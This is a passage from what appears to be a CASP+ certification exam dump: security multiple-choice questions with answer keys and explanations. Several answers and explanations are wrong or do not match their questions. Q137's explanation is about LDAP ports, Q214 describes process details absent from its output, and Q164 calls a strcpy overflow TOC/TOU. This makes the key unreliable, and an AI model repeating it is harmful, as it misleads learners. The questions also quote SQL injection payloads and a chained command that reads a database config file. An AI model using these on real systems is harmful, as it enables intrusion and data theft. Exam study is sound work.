B. Perform ASIC password cracking on the host.
C. Read the /etc/passwd file to extract the usernames.
D. Initiate unquoted service path exploits.
E. Use the UNION operator to extract the database schema.

Answer: A

Explanation:
 Reference: https://docs.rapid7.com/insightvm/elevating-permissions/
Spawning a shell using sudo and an escape string is a valid Linux post-exploitation method that can exploit a misconfigured sudoers file and allow a standard user
to execute commands as root. ASIC password cracking is used to break hashed passwords, not to elevate privileges. Reading the /etc/passwd file may reveal
usernames, but not passwords or privileges. Unquoted service path exploits are applicable to Windows systems, not Linux. Using the UNION operator is a SQL
injection technique, not a Linux post-exploitation method. Verified References: https://www.comptia.org/blog/what-is-post-exploitation
https://partners.comptia.org/docs/default-source/resources/casp-content-guide

NEW QUESTION 102
A security consultant needs to protect a network of electrical relays that are used for monitoring and controlling the energy used in a manufacturing facility.
Which of the following systems should the consultant review before making a recommendation?

A. CAN
B. ASIC
C. FPGA
D. SCADA

Answer: D

Explanation:
 Reference: https://www.sciencedirect.com/topics/computer-science/protective-relay

NEW QUESTION 103
A customer reports being unable to connect to a website at www.test.com to consume services. The customer notices the web application has the following
published cipher suite:

```
TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256
Signature hash algorithm:
sha256
Public key:
RSA (2048 Bits)
.htaccess config:
<VirtualHost> *:80>
ServerName www.test.com
Redirect / https://www.test.com
</VirtualHost>
<VirtualHost _default_ :443>
ServerName www.test.com
DocumnetRoot /usr/local/apache2/htdocs
SSLEngine On
...
</VirtualHost>
```

Which of the following is the MOST likely cause of the customer's inability to connect?

A. Weak ciphers are being used.
B. The public key should be using ECDSA.
C. The default should be on port 80.
D. The server name should be test.com.

Answer: A

Explanation:
 Reference: https://security.stackexchange.com/questions/23383/ssh-key-type-rsa-dsa- ecdsa-are-there-easy-answers-for-which-to-choose-when

NEW QUESTION 106
A help desk technician just informed the security department that a user downloaded a suspicious file from internet explorer last night. The user confirmed accessing all the files and folders before going home from work. the next morning, the user was no longer able to boot the system and was presented a screen with a phone number. The technician then
tries to boot the computer using wake-on-LAN, but the system would not come up. which of the following explains why the computer would not boot?

A. The operating system was corrupted.
B. SElinux was in enforced status.
C. A secure boot violation occurred.
D. The disk was encrypted.

Answer: A

NEW QUESTION 108
A company's Chief Information Officer wants to Implement IDS software onto the current system's architecture to provide an additional layer of security. The software must be able to monitor system activity, provide Information on attempted attacks, and provide analysis of malicious activities to determine the processes or users Involved. Which of the following would provide this information?

A. HIPS
B. UEBA
C. HIDS
D. NIDS

Answer: B

NEW QUESTION 113
A cybersecurity engineer analyst a system for vulnerabilities. The tool created an OVAL. Results document as output. Which of the following would enable the engineer to interpret the results in a human readable form? (Select TWO.)

A. Text editor
B. OOXML editor
C. Event Viewer
D. XML style sheet
E. SCAP tool
F. Debugging utility

Answer: BD

NEW QUESTION 118
A pharmaceutical company recently experienced a security breach within its customer- facing web portal. The attackers performed a SQL injection attack and exported tables from the company's managed database, exposing customer information.
The company hosts the application with a CSP utilizing the IaaS model. Which of the following parties is ultimately responsible for the breach?

A. The pharmaceutical company
B. The cloud software provider
C. The web portal software vendor
D. The database software vendor

Answer: A

NEW QUESTION 122
An analyst execute a vulnerability scan against an internet-facing DNS server and receives the following report:

```
*Vulnerabilities in Kernel-Mode Driver Could Allow Elevation of Privilege
*SSL Medium Strength Cipher Suites Supported
*Vulnerability in DNS Resolution Could Allow Remote Code Execution
*SMB Host SIDs allows Local User Enumeration
```

Which of the following tools should the analyst use FIRST to validate the most critical vulnerability?

A. Password cracker
B. Port scanner
C. Account enumerator
D. Exploitation framework

Answer: A

NEW QUESTION 127
Given the following log snippet from a web server:

```
84.55.41.60- - [19/Apr/2020:07:22:13 0100] "GET /wordpress/wp-content.plugins/custom_plugin/check_user.php?userid=1 AND (SELECT 6810
FROM(SELECT COUNT(*),CONCAT(0x7171787671,(SELECT (ELT(6810=6810,1))),0x71707a7871,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) HTTP/1.1" 200 166 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3)
Gecko/20100401 Firefox 4.0 (.NET CLR 3.5.30729)"

84.55.41.60- - [19/Apr/2020:07:22:13 0100] "GET /wordpress/wp-content.plugins/custom_plugin/check_user.php?userid=(SELECT 7505
FROM(SELECT COUNT(*),CONCAT(0x7171787671,(SELECT (ELT(7505=7505,1))),0x71707a7871,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) HTTP/1.1" 200 166 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3)
Gecko/20100401 Firefox 4.0 (.NET CLR 3.5.30729)"

84.55.41.60- - [19/Apr/2020:07:22:13 0100] "GET /wordpress/wp-content.plugins/custom_plugin/check_user.php?userid=(SELECT
CONCAT(0x7171787671,(SELECT (ELT(1399=1399,1))),0x71707a7871)) HTTP/1.1" 200 166 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru;
rv:1.9.2.3) Gecko/20100401 Firefox 4.0 (.NET CLR 3.5.30729)"

84.55.41.60- - [19/Apr/2020:07:22:27 0100] "GET /wordpress/wp-content.plugins/custom_plugin/check_user.php?userid=1 UNION ALL SELECT
CONCAT(0x7171787671,0x537653541754567a724f,0x71707a7871),NULL,NULL-- HTTP/1.1" 200 182 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1;
ru; rv:1.9.2.3) Gecko/20100401 Firefox 4.0 (.NET CLR 3.5.30729)"
```

Which of the following BEST describes this type of attack?

A. SQL injection
B. Cross-site scripting
C. Brute-force
D. Cross-site request forgery

Answer: A

NEW QUESTION 131
A systems administrator is in the process of hardening the host systems before connecting to the network. The administrator wants to add protection to the boot loader to ensure the hosts are secure before the OS fully boots.
Which of the following would provide the BEST boot loader protection?

A. TPM
B. HSM
C. PKI
D. UEFI/BIOS

Answer: A

Explanation:
 A TPM (trusted platform module) is a hardware device that can provide boot
loader protection by storing cryptographic keys and verifying the integrity of the boot process. An HSM (hardware security module) is similar to a TPM, but it is used for storing keys for applications, not for booting. A PKI (public key infrastructure) is a system of certificates and keys that can provide encryption and authentication, but not boot loader protection. UEFI/BIOS are firmware interfaces that control the boot process, but they do not provide protection by themselves. Verified References: https://www.comptia.org/blog/what- is-a-tpm-trusted-platform-module https://partners.comptia.org/docs/default- source/resources/casp-content-guide

NEW QUESTION 136
A company is repeatedly being breached by hackers who valid credentials. The company's Chief information Security Officer (CISO) has installed multiple controls for authenticating users, including biometric and token-based factors. Each successive control has increased overhead and complexity but has failed to stop further breaches. An external consultant is evaluating the process currently in place to support the authentication controls. Which of the following recommendation would MOST likely reduce the risk of unauthorized access?

A. Implement strict three-factor authentication.
B. Implement least privilege policies
C. Switch to one-time or all user authorizations.
D. Strengthen identify-proofing procedures

Answer: A

NEW QUESTION 137
A company suspects a web server may have been infiltrated by a rival corporation. The security engineer reviews the web server logs and finds the following:

```
ls -l -a /usr/heinz/public; cat ./config/db.yml
```

The security engineer looks at the code with a developer, and they determine the log entry is created when the following line is run:

```
system ("ls -l -a #(path)")
```

Which of the following is an appropriate security control the company should implement?

A. Restrict directory permission to read-only access.
B. Use server-side processing to avoid XSS vulnerabilities in path input.
C. Separate the items in the system call to prevent command injection.
D. Parameterize a query in the path variable to prevent SQL injection.

Answer: C

Explanation:
The company using the wrong port is the most likely root cause of why secure LDAP is not working. Secure LDAP is a protocol that provides secure communication between clients and servers using LDAP (Lightweight Directory Access Protocol), which is a protocol that allows querying and modifying directory services over TCP/IP. Secure LDAP uses SSL (Secure Sockets Layer) or TLS (Transport Layer Security) to encrypt LDAP traffic and prevent unauthorized disclosure or interception.

NEW QUESTION 142
A security analyst sees that a hacker has discovered some keys and they are being made
available on a public website. The security analyst is then able to successfully decrypt the data using the keys from the website. Which of the following should the security analyst recommend to protect the affected data?

A. Key rotation
B. Key revocation
C. Key escrow
D. Zeroization
E. Cryptographic obfuscation

Answer: E

NEW QUESTION 146
A cloud security architect has been tasked with selecting the appropriate solution given the following:
* The solution must allow the lowest RTO possible.
* The solution must have the least shared responsibility possible.
« Patching should be a responsibility of the CSP.
Which of the following solutions can BEST fulfill the requirements?

A. Paas
B. laas
C. Private
D. Saas

Answer: D

Explanation:
SaaS, or software as a service, is the solution that can best fulfill the requirements of having the lowest RTO possible, the least shared responsibility possible, and patching as a responsibility of the CSP. SaaS is a cloud service model that provides users with access to software applications hosted and managed by the CSP over the internet. SaaS has the lowest RTO (recovery time objective), which is the maximum acceptable time for restoring a system or service after a disruption, because it does not require any installation, configuration, or maintenance by the users. SaaS also has the least shared responsibility possible because most of the security aspects are handled by the CSP, such as patching, updating, backup, encryption, authentication, etc.
References: [CompTIA CASP+ Study Guide, Second Edition, pages 403-404]

NEW QUESTION 150
A SOC analyst is reviewing malicious activity on an external, exposed web server. During the investigation, the analyst determines specific traffic is not being logged, and there is no visibility from the WAF for the web application.
Which of the following is the MOST likely cause?

A. The user agent client is not compatible with the WAF.
B. A certificate on the WAF is expired.
C. HTTP traffic is not forwarding to HTTPS to decrypt.
D. Old, vulnerable cipher suites are still being used.

Answer: C

Explanation:
This could be the cause of the lack of visibility from the WAF (Web Application Firewall) for the web application, as the WAF may not be able to inspect or block unencrypted HTTP traffic. To solve this issue, the web server should redirect all HTTP requests to HTTPS and use SSL/TLS certificates to encrypt the traffic.

NEW QUESTION 154
A threat hunting team receives a report about possible APT activity in the network. Which of the following threat management frameworks should the team implement?

A. NIST SP 800-53
B. MITRE ATT&CK
C. The Cyber Kill Chain

D. The Diamond Model of Intrusion Analysis

Answer: B

Explanation:
MITRE ATT&CK is a threat management framework that provides a comprehensive and detailed knowledge base of adversary tactics and techniques based on real-world observations. It can help threat hunting teams to identify, understand, and prioritize potential threats, as well as to develop effective detection and response strategies. MITRE ATT&CK covers the entire lifecycle of a cyberattack, from initial access to impact, and provides information on how to mitigate, detect, and hunt for each technique. It also includes threat actor profiles, software descriptions, and data sources that can be used for threat intelligence and analysis.
Verified References:
? https://attack.mitre.org/
? https://resources.infosecinstitute.com/topic/top-threat-modeling-frameworks-stride- owasp-top-10-mitre-attck-framework/
? https://www.ibm.com/topics/threat-management

NEW QUESTION 157
An engineering team is developing and deploying a fleet of mobile devices to be used for specialized inventory management purposes. These devices should:
* Be based on open-source Android for user familiarity and ease.
* Provide a single application for inventory management of physical assets.
* Permit use of the camera be only the inventory application for the purposes of scanning
* Disallow any and all configuration baseline modifications.
* Restrict all access to any device resource other than those requirement ?

A. Set an application wrapping policy, wrap the application, distributes the inventory APK via the MAM tool, and test the application restrictions.
B. Write a MAC sepolicy that defines domains with rules, label the inventory application, build the policy, and set to enforcing mode.
C. Swap out Android Linux kernel version for >2,4,0, but the internet build Android, remove unnecessary functions via MDL, configure to block network access, and perform integration testing
D. Build and install an Android middleware policy with requirements added, copy the file into/ user/init, and then built the inventory application.

Answer: A

NEW QUESTION 160
A financial institution has several that currently employ the following controls:
* The severs follow a monthly patching cycle.
* All changes must go through a change management process.
* Developers and systems administrators must log into a jumpbox to access the servers hosting the data using two-factor authentication.
* The servers are on an isolated VLAN and cannot be directly accessed from the internal production network.
An outage recently occurred and lasted several days due to an upgrade that circumvented the approval process. Once the security team discovered an unauthorized patch was installed, they were able to resume operations within an hour. Which of the following should the security administrator recommend to reduce the time to resolution if a similar incident occurs in the future?

A. Require more than one approver for all change management requests.
B. Implement file integrity monitoring with automated alerts on the servers.
C. Disable automatic patch update capabilities on the servers
D. Enhanced audit logging on the jump servers and ship the logs to the SIEM.

Answer: B

NEW QUESTION 164
A security analyst is reading the results of a successful exploit that was recently conducted by third-party penetration testers. The testers reverse engineered a privileged executable. In the report, the planning and execution of the exploit is detailed using logs and outputs from the test However, the attack vector of the exploit is missing, making it harder to recommend remediation's. Given the following output:

```
0x014435a5 <+7>:  mov 0x8(%ebp),%eax
0x014435a8 <+10>: movl $0xffffffff,-0x1c(%ebp)   //Tester note, Start
0x014435af <+17>: mov %eax,%edx
0x014435b1 <+19>: mov $0x0,%eax
0x014435b6 <+24>: mov -0x1c(%ebp),%ecx
0x014435b9 <+27>: mov %edx,%edi
0x014435bb <+29>: repnz scas %es:(%edi),%al
0x014435bd <+31>: mov %ecx,%eax
0x014435bf <+33>: not %eax
0x014435c1 <+35>: sub $0x1,%eax              //Tester note, end
0x014435c4 <+38>: mov %al,-0x9(%ebp)
0x014435c7 <+41>: cmpb $0x3,-0x9(%ebp)       //Tester note <=4
0x014435cb <+45>: jbe 0x1448500 <validate_passwd+98>
0x014435cd <+47>: cmpb $0x8,-0x9(%ebp)       //Tester note >=8
0x014435d1 <+51>: ja 0x1448500 <validate_passwd+98>
0x014435d3 <+53>: movl $0x1448660,(%esp)
0x014435da <+60>: call 0x14483a0 <puts@plt>
0x014435df <+65>: mov 0x144a020,%eax
0x014435e4 <+70>: mov %eax,(%esp)
0x014435e7 <+73>: call 0x1448380 <fflush@plt>
0x014435ec <+78>: mov 0x8(%ebp),%eax
0x014435ef <+81>: mov %eax,0x4(%esp)
0x014435f3 <+85>: lea -0x14(%ebp),%eax
0x014435f6 <+88>: mov %eax,(%esp)
0x014435f9 <+91>: call 0x1448390 <strcpy@plt>   //Tester note, breakpoint
0x014435fe <+96>: jmp 0x1448519 <validate_passwd+123>
0x01448500 <+98>: movl $0x144866f,(%esp)
```

The penetration testers MOST likely took advantage of:

A. A TOC/TOU vulnerability
B. A plain-text password disclosure
C. An integer overflow vulnerability
D. A buffer overflow vulnerability

Answer: A

NEW QUESTION 166
An organization is prioritizing efforts to remediate or mitigate risks identified during the latest assessment. For one of the risks, a full remediation was not possible, but the organization was able to successfully apply mitigations to reduce the likelihood of impact.
Which of the following should the organization perform NEXT?

A. Assess the residual risk.
B. Update the organization's threat model.
C. Move to the next risk in the register.
D. Recalculate the magnitude of impact.

Answer: A

NEW QUESTION 171
An organization is establishing a new software assurance program to vet applications before they are introduced into the production environment, Unfortunately. many Of the applications are provided only as compiled binaries. Which Of the following should the organization use to analyze these applications? (Select TWO).

A. Regression testing
B. SAST
C. Third-party dependency management
D. IDE SAST
E. Fuzz testing
F. IAST

Answer: DE

NEW QUESTION 172
A home automation company just purchased and installed tools for its SOC to enable incident identification and response on software the company develops. The company would like to prioritize defenses against the following attack scenarios:
Unauthorized insertions into application development environments
Authorized insiders making unauthorized changes to environment configurations
Which of the following actions will enable the data feeds needed to detect these types of attacks on development environments? (Choose two.)

A. Perform static code analysis of committed code and generate summary reports.
B. Implement an XML gateway and monitor for policy violations.
C. Monitor dependency management tools and report on susceptible third-party libraries.
D. Install an IDS on the development subnet and passively monitor for vulnerable services.
E. Model user behavior and monitor for deviations from normal.
F. Continuously monitor code commits to repositories and generate summary logs.

Answer: EF

Explanation:
Modeling user behavior and monitoring for deviations from normal and continuously monitoring code commits to repositories and generating summary logs are actions that will enable the data feeds needed to detect unauthorized insertions into application development environments and authorized insiders making unauthorized changes to environment configurations. Modeling user behavior and monitoring for deviations from normal is a technique that uses baselines, analytics, machine learning, or other methods to establish normal patterns of user activity and identify anomalies or outliers that could indicate malicious or suspicious behavior. Modeling user behavior and monitoring for deviations from normal can help detect unauthorized insertions into application development environments, as it can alert on unusual or unauthorized access attempts, commands, actions, or transactions by users. Continuously monitoring code commits to repositories and generating summary logs is a technique that uses tools, scripts, automation, or other methods to track and record changes made to code repositories by developers, testers, reviewers, or other parties involved in the software development process. Continuously monitoring code commits to repositories and generating summary logs can help detect authorized insiders making unauthorized changes to environment configurations, as it can audit and verify the source, time, reason, and impact of code changes made by authorized users. Performing static code analysis of committed code and generate summary reports is not an action that will enable the data feeds needed to detect unauthorized insertions into application development environments and authorized insiders making unauthorized changes to environment configurations, but an action that will enable the data feeds needed to detect vulnerabilities, errors, bugs, or quality issues in committed code. Implementing an XML gateway and monitor for policy violations is not an action that will enable the data feeds needed to detect unauthorized insertions into application development environments and authorized insiders making unauthorized changes to environment configurations, but an action that will enable the data feeds needed to protect XML-based web services from threats or attacks by validating XML messages against predefined policies. Monitoring dependency management tools and report on susceptible third-party libraries is not an action that will enable the data feeds needed to detect unauthorized insertions into application development environments and authorized insiders making unauthorized changes to environment configurations, but an action that will enable the data feeds needed to identify outdated or vulnerable third-party libraries used in software development projects. Installing an IDS (intrusion detection system) on the development subnet and passively monitor for vulnerable services is not an action that will enable the data feeds needed to detect unauthorized insertions into application development environments and authorized insiders making unauthorized changes

NEW QUESTION 176
An IT administrator is reviewing all the servers in an organization and notices that a server is missing crucial practice against a recent exploit that could gain root access.
Which of the following describes the administrator's discovery?

A. A vulnerability
B. A threat
C. A breach
D. A risk

Answer: A

Explanation:
Reference: https://www.beyondtrust.com/blog/entry/privilege-escalation-attack-defense-explained

NEW QUESTION 177
A security engineer needs 10 implement a CASB to secure employee user web traffic. A Key requirement is mat relevant event data must be collected from existing on-premises infrastructure components and consumed by me CASB to expand traffic visibility. The solution must be nighty resilient to network outages. Which of the following architectural components would BEST meet these requirements?

A. Log collection
B. Reverse proxy
C. AWAF
D. API mode

Answer: A

NEW QUESTION 180
A Chief Security Officer (CSO) is concerned about the number of successful ransomware attacks that have hit the company. The data Indicates most of the attacks came through a
fake email. The company has added training, and the CSO now wants to evaluate whether the training has been successful. Which of the following should the CSO implement?

A. Simulating a spam campaign
B. Conducting a sanctioned vishing attack
C. Performing a risk assessment
D. Executing a penetration test

Answer: A

Explanation:
A spam campaign is a mass distribution of unsolicited or fraudulent emails that may contain malicious links, attachments, or requests. Spam campaigns are often used by attackers to deliver ransomware, which is a type of malware that encrypts the victim's data and demands a ransom for its decryption.
Simulating a spam campaign would allow the Chief Security Officer (CSO) to evaluate whether the training has been successful in reducing the number of successful ransomware attacks that have hit the company, because it would:
? Test the employees' ability to recognize and avoid clicking on fake or malicious
emails, which is one of the main vectors for ransomware infection.
? Measure the effectiveness of the training by comparing the click-through rate and the infection rate before and after the training.
? Provide feedback and reinforcement to the employees by informing them of their performance and reminding them of the best practices for email security.

NEW QUESTION 185
An organization is implementing a new identity and access management architecture with the following objectives:
Supporting MFA against on-premises infrastructure
Improving the user experience by integrating with SaaS applications Applying risk-based policies based on location

Performing just-in-time provisioning
Which of the following authentication protocols should the organization implement to support these requirements?

A. Kerberos and TACACS
B. SAML and RADIUS
C. OAuth and OpenID
D. OTP and 802.1X

Answer: C

Explanation:
 Reference: https://docs.microsoft.com/en-us/azure/active-directory/manage-apps/migrate- application-authentication-to-azure-active-directory
OAuth and OpenID are two authentication protocols that can support the objectives of the organization. OAuth is a protocol that allows users to grant access to their resources on one site (or service) to another site (or service) without sharing their credentials. OpenID is a protocol that allows users to use an existing account to sign in to multiple websites without creating new passwords. Both protocols can support MFA, SaaS integration, risk- based policies, and just-in-time provisioning. References: https://auth0.com/docs/protocols/oauth2 https://openid.net/connect/

NEW QUESTION 188
A company is looking at sending historical backups containing customer PII to a cloud service provider to save on storage costs. Which of the following is the MOST important consideration before making this decision?

A. Availability
B. Data sovereignty
C. Geography
D. Vendor lock-in

Answer: B

NEW QUESTION 192
A security architect needs to implement a CASB solution for an organization with a highly distributed remote workforce. One Of the requirements for the implementation includes the capability to discover SaaS applications and block access to those that are unapproved or identified as risky. Which of the following would BEST achieve this objective?

A. Deploy endpoint agents that monitor local web traffic to enforce DLP and encryption policies.
B. Implement cloud infrastructure to proxy all user web traffic to enforce DI-P and encryption policies.
C. Implement cloud infrastructure to proxy all user web traffic and control access according to centralized policy.
D. Deploy endpoint agents that monitor local web traffic and control access according to centralized policy.

Answer: C

Explanation:
 The best way to achieve the objective of discovering SaaS applications and blocking access to unapproved or identified as risky ones is to implement cloud infrastructure to proxy all user web traffic and control access according to centralized policy (C). This solution would allow the security architect to inspect all web traffic and enforce access control policies centrally. This solution also allows the security architect to detect and block risky SaaS applications.
Reference: CompTIA Advanced Security Practitioner (CASP+) Study Guide: Chapter 1:
Network Security Architecture and Design, Section 1.3: Cloud Security.

NEW QUESTION 195
A managed security provider (MSP) is engaging with a customer who was working through a complete digital transformation Part of this transformation involves a move to cloud servers to ensure a scalable, high-performance, online user experience The current architecture includes:
• Directory servers
• Web servers
• Database servers
• Load balancers
• Cloud-native VPN concentrator
• Remote access server
The MSP must secure this environment similarly to the infrastructure on premises Which of the following should the MSP put in place to BEST meet this objective? (Select THREE)

A. Content delivery network
B. Virtual next-generation firewall
C. Web application firewall
D. Software-defined WAN
E. External vulnerability scans
F. Containers
G. Microsegmentation

Answer: BCG

Explanation:
A virtual next-generation firewall (vNGFW) is a software version of a NGFW that can be deployed on cloud servers to provide advanced network security features. A vNGFW can help secure the cloud environment similarly to the infrastructure on premises by providing functions such as URL filtering, SSL/TLS inspection, deep packet inspection, antivirus, IPS, application control, and sandboxing. A web application firewall (WAF) is a device or software that filters and blocks malicious web traffic from reaching an application. A WAF can help secure the web servers in the cloud environment by protecting them from common attacks such as SQL injection, cross-site scripting (XSS), and cross-site request forgery (CSRF). Microsegmentation is a technique that divides a network into smaller segments or zones based on criteria such as identity, role, or function. Microsegmentation can help secure the cloud environment by isolating different types of servers and applying granular security policies to each segment.
A content delivery network (CDN) is a distributed system of servers that delivers web content to users based on their geographic location, the origin of the content, and the performance of the network. A CDN can help improve the availability and performance of web applications by caching content closer to the users, reducing latency and bandwidth consumption. However, a CDN does not provide the same level of security as a vNGFW or a WAF. Software-defined WAN (SD-WAN) is a

technology that uses software to manage the connectivity and routing of wide area network (WAN) traffic across multiple links or carriers. SD-WAN can help improve the reliability and efficiency of WAN connections by
dynamically selecting the best path for each application based on factors such as bandwidth, latency, cost, and quality of service (QoS). However, SD-WAN does not provide the same level of security as a vNGFW or a WAF. External vulnerability scans are assessments that identify and report on the vulnerabilities and weaknesses of an IT system from an external perspective. External vulnerability scans can help improve the security posture of an IT system by providing visibility into its exposure to potential threats. However, external vulnerability scans do not provide the same level of protection as a vNGFW or a WAF. Containers are units of software that package an application and its dependencies into a standardized format that can run on any platform or environment. Containers can help improve the portability and scalability of applications by allowing them to run independently from the underlying infrastructure. However, containers do not provide the same level of security as microsegmentation. References: [CompTIA Advanced Security Practitioner (CASP+) Certification Exam Objectives], Domain 2: Enterprise Security Architecture, Objective 2.3: Implement solutions for the secure use of cloud services

NEW QUESTION 199
A company created an external application for its customers. A security researcher now reports that the application has a serious LDAP injection vulnerability that could be leveraged to bypass authentication and authorization.
Which of the following actions would BEST resolve the issue? (Choose two.)

A. Conduct input sanitization.
B. Deploy a SIEM.
C. Use containers.
D. Patch the OS
E. Deploy a WAF.
F. Deploy a reverse proxy
G. Deploy an IDS.

Answer: AE

Explanation:
 A WAF protects your web apps by filtering, monitoring, and blocking any malicious HTTP/S traffic traveling to the web application, and prevents any unauthorized data from leaving the app. It does this by adhering to a set of policies that help determine what traffic is malicious and what traffic is safe.
According to OWASP, LDAP injection is an attack that exploits web applications that construct LDAP statements based on user input without proper validation or sanitization.
LDAP injection can result in unauthorized access, data modification, or denial of service. To prevent LDAP injection, OWASP recommends conducting input sanitization by escaping special characters in user input and deploying a web application firewall (WAF) that can detect and block malicious LDAP queries.45

NEW QUESTION 203
A software company wants to build a platform by integrating with another company's established product. Which of the following provisions would be MOST important to include when drafting an agreement between the two companies?

A. Data sovereignty
B. Shared responsibility
C. Source code escrow
D. Safe harbor considerations

Answer: B

Explanation:
 When drafting an agreement between two companies, it is important to clearly define the responsibilities of each party. This is particularly relevant when a software company is looking to integrate with an established product. A shared responsibility agreement ensures that both parties understand their respective responsibilities and are able to work together efficiently and effectively. For example, the software company might be responsible for integrating the product and ensuring it meets user needs, while the established product provider might be responsible for providing ongoing support and maintenance. By outlining these responsibilities in the agreement, both parties can ensure that the platform is built and maintained successfully. References: CompTIA Advanced Security Practitioner (CASP+) Study Guide, Chapter 8, Working with Third Parties.

NEW QUESTION 207
A review of the past year's attack patterns shows that attackers stopped reconnaissance after finding a susceptible system to compromise. The company would like to find a way to use this information to protect the environment while still gaining valuable attack information.
Which of the following would be BEST for the company to implement?

A. A WAF
B. An IDS
C. A SIEM
D. A honeypot

Answer: D

Explanation:
Reference: https://www.kaspersky.com/resource-center/threats/what-is-a-honeypot

NEW QUESTION 208
An organization requires a contractual document that includes
• An overview of what is covered
• Goals and objectives
• Performance metrics for each party
• A review of how the agreement is managed by all parties
Which of the following BEST describes this type of contractual document?

A. SLA
B. BAA
C. NDA

D. ISA

Answer: A

Explanation:
A Service Level Agreement is a contract between a service provider and a customer that outlines the level of services to be provided, the metrics by which those services will be measured, and how the agreement will be managed by both parties. SLAs also include provisions for dispute resolution and for the termination of the agreement.
Reference: CompTIA Advanced Security Practitioner (CASP+) Study Guide: Chapter 5:
Security Testing, Section 5.7: Service Level Agreements.

NEW QUESTION 211
Which of the following is the MOST important cloud-specific risk from the CSP's viewpoint?

A. Isolation control failure
B. Management plane breach
C. Insecure data deletion
D. Resource exhaustion

Answer: B

NEW QUESTION 213
A company has moved its sensitive workloads lo the cloud and needs to ensure high availability and resiliency of its web-based application. The cloud architecture team was given the following requirements
• The application must run at 70% capacity at all times
• The application must sustain DoS and DDoS attacks.
• Services must recover automatically.
Which of the following should the cloud architecture team implement? (Select THREE).

A. Read-only replicas
B. BCP
C. Autoscaling
D. WAF
E. CDN
F. Encryption
G. Continuous snapshots
H. Containenzation

Answer: CDF

Explanation:
The cloud architecture team should implement Autoscaling (C), WAF (D) and Encryption (F). Autoscaling (C) will ensure that the application is running at 70% capacity at all times. WAF (D) will protect the application from DoS and DDoS attacks. Encryption (F) will protect the data from unauthorized access and ensure that the sensitive workloads remain secure.

NEW QUESTION 214
A security analyst is concerned that a malicious piece of code was downloaded on a Linux system. After some research, the analyst determines that the suspected piece of code is performing a lot of input/output (I/O) on the disk drive.

```
procs ---------memory--------swap---io-- --system-- -----cpu------
 r  b  swpd  free   buff    cache   si so bi    bo        in  cs   us sy id wa st
 3  0  0     44712  110052  623096  0  0  304023 30004040 217 883  13 3  83 1  0
 1  0  0     44408  110052  623096  0  0  300    200003   88  1446 31 4  65 0  0
 0  0  0     44524  110052  623096  0  0  400020 20        84  872  11 2  87 0  0
 0  2  0     44516  110052  623096  0  0  10     0         149 142  18 5  77 0  0
 0  0  0     44524  110052  623096  0  0  0      0         60  431  14 1  85 0  0
```

Based on the output above, from which of the following process IDs can the analyst begin an investigation?

A. 65
B. 77
C. 83
D. 87

Answer: D

Explanation:
 The process ID 87 can be the starting point for an investigation of a possible buffer overflow attack, as it shows a high percentage of CPU utilization (99.7%) and a suspicious command name (graphic.linux_randomization.prg). A buffer overflow attack is a type of attack that exploits a vulnerability in an application or system that allows an attacker to write data beyond the allocated buffer size, potentially overwriting memory segments and executing malicious code. A high CPU utilization could indicate that the process is performing intensive or abnormal operations, such as a buffer overflow attack. A suspicious command name could indicate that the process is trying to disguise itself or evade detection, such as by mimicking a legitimate program or using random characters. The other process IDs do not show signs of a buffer overflow attack, as they have low CPU utilization and normal command names. Verified References:
https://www.comptia.org/blog/what-is-buffer-overflow https://partners.comptia.org/docs/default-source/resources/casp-content-guide

NEW QUESTION 215
An auditor needs to scan documents at rest for sensitive text. These documents contain both text and Images. Which of the following software functionalities must be enabled in the DLP solution for the auditor to be able to fully read these documents? (Select TWO).

A. Document interpolation

B. Regular expression pattern matching
C. Optical character recognition functionality
D. Baseline image matching
E. Advanced rasterization
F. Watermarking

Answer: AC

NEW QUESTION 219
A security architect is implementing a web application that uses a database back end. Prior to the production, the architect is concerned about the possibility of XSS attacks and wants to identify security controls that could be put in place to prevent these attacks.
Which of the following sources could the architect consult to address this security concern?

A. SDLC
B. OVAL
C. IEEE
D. OWASP

Answer: D

Explanation:
 OWASP is a resource used to identify attack vectors and their mitigations, OVAL is a vulnerability assessment standard
OWASP (Open Web Application Security Project) is a source that the security architect could consult to address the security concern of XSS (cross-site scripting) attacks on a web application that uses a database back end. OWASP is a non-profit organization that provides resources and guidance for improving the security of web applications and services. OWASP publishes the OWASP Top 10 list of common web application vulnerabilities and risks, which includes XSS attacks, as well as recommendations and best practices for preventing or mitigating them. SDLC (software development life cycle) is not a source for addressing XSS attacks, but a framework for developing software in an organized and efficient manner. OVAL (Open Vulnerability and Assessment Language) is not a source for addressing XSS attacks, but a standard for expressing system configuration information and vulnerabilities. IEEE (Institute of Electrical and Electronics Engineers) is not a source for addressing XSS attacks, but an organization that develops standards for various fields of engineering and technology. Verified References: https://www.comptia.org/blog/what-is-owasp https://partners.comptia.org/docs/default- source/resources/casp-content-guide

NEW QUESTION 222
A company Is adopting a new artificial-intelligence-based analytics SaaS solution. This Is the company's first attempt at using a SaaS solution, and a security architect has been asked to determine any future risks. Which of the following would be the GREATEST risk In adopting this solution?

A. The inability to assign access controls to comply with company policy
B. The inability to require the service provider process data in a specific country
C. The inability to obtain company data when migrating to another service
D. The inability to conduct security assessments against a service provider

Answer: C

NEW QUESTION 227
A Chief information Security Officer (CISO) is developing corrective-action plans based on the following from a vulnerability scan of internal hosts:

High (CVSS: 10.0)
NVT: ### '_php_stream_scandir()' Buffer Overflow Vulnerability (Windows) (OID: 1.3.6.1.4.1.25623.1.0.000317)
Product detection result: cpes/a:php:php:5.3.6 by SMB Version Detection (Remote) (OID: 1.3.6.1.4.1.25623.1.0.600109+

Summary
This host is running PHP and is prone to buffer overflow vulnerability.
Vulnerability Detection Result:installed version: 5.3.6
Fixed version: 5.3.15/5.4.5

Impact
Successful exploitation could allow attackers to execute arbitrary code and failed attempts will likely result in denial-of-service conditions. Impact Level: System/Application

Which of the following MOST appropriate corrective action to document for this finding?

A. The product owner should perform a business impact assessment regarding the ability to implement a WAF.
B. The application developer should use a static code analysis tool to ensure any application code is not vulnerable to buffer overflows.
C. The system administrator should evaluate dependencies and perform upgrade as necessary.
